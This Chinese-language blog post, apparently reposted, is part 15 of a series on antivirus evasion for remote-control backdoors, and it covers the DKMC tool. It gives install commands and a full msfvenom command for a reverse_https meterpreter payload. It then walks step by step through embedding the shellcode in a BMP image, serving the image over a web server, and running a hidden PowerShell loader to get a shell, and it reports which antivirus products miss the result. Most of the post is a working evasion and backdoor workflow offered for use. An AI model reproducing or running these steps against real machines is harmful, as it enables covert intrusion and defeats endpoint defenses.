远控免杀专题(15)-DKMC免杀

0x01 免杀能力一览表

在这里插入图片描述
几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

0x02 DKMC介绍

DKMC是Don’t Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的…DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。

0x03 安装DKMC

安装比较简单


$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

执行python dkmc.py即可
在这里插入图片描述

0x04 DKMC使用说明

执行python dkmc.py后可以看到5个选项,

[*] (gen)	Generate a malicious BMP image  
[*] (web)	Start a web server and deliver malicious image 
[*] (ps)	Generate Powershell payload 
[*] (sc)	Generate shellcode from raw file 
[*] (exit)	Quit the application

翻译一下

扫描二维码关注公众号,回复: 11055462 查看本文章

[*] (gen)	将msf的shellcode注入到一个BMP图像
[*] (web)	启动web服务用来分发BMP图像
[*] (ps)	生成ps的payload
[*] (sc)	将msf生成的raw文件转为shellcode
[*] (exit)	退出

这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。

生成一个后门的流程大体为:

1、先利用msf生成raw文件

2、利用sc讲raw文件转换为shellcode

3、利用gen将上一步的shellcode注入到一个BMP图像

4、利用ps生成基于powershell的BMP文件的payload

5、利用web提供的简单web服务进行分发BMP文件

4和5看起来有点乱,下面我演示一下就很容易明白了。

0x05 利用DKMC生成后门

1、先利用Msf生成raw格式的shellcode,稍微编码了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw

在这里插入图片描述
2、在主菜单中选择sc,然后设置source为/root/test15.raw,再执行run生成shellcode。
在这里插入图片描述
复制一下生成的shellcode,输入exit退回到主菜单。

3、在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode。

其他默认即可,执行run生成图像。
在这里插入图片描述
看到生成了output-1577907077.bmp图像文件,输入exit退回到主菜单。

4、在主菜单中选择ps,设置url地址,这个url地址就是web分发图像文件的地址。

我的parrot虚拟机的地址为10.211.55.24,我打算用默认的80端口,这样我的url地址为http://10.211.55.24/output-1577907077.bmp

使用命令set url http://10.211.55.24/output-1577907077.bmp,然后执行run生成powershell执行脚本。
在这里插入图片描述
复制一下生成的ps代码,输入exit退回到主菜单。

5、最后一步,在主菜单中选择web,使用默认80端口,执行run即可。
在这里插入图片描述
访问虚拟机的80端口
在这里插入图片描述
图像可以正常打开
在这里插入图片描述
6、在我的测试机器上执行第4步生成的ps代码,不开杀软的时候可正常上线

我将ps执行代码中的-w hidden先去掉,这样可以看得直观一些
在这里插入图片描述
在这里插入图片描述
7、打开杀软进行测试

静态查杀都通过
在这里插入图片描述
在执行powershell代码时,火绒和360卫士会拦截报警,360杀毒没有反应
在这里插入图片描述

0x05 小结

DKMC主要把shellcode注入到bmp图像中,然后使用powershell来执行其中的shellcode,但是很多杀软都会监测powershell的执行动作,所以virustotal.com的静态检测不足以说明什么。其实还可以进一步对ps执行代码进行混淆免杀,这一点后续文章还会涉及这里就不展开说

参考

官方说明文档:https://github.com/Mr-Un1k0d3r/DKMC

发布了203 篇原创文章 · 获赞 19 · 访问量 2万+

猜你喜欢

转载自blog.csdn.net/qq_41683305/article/details/105153239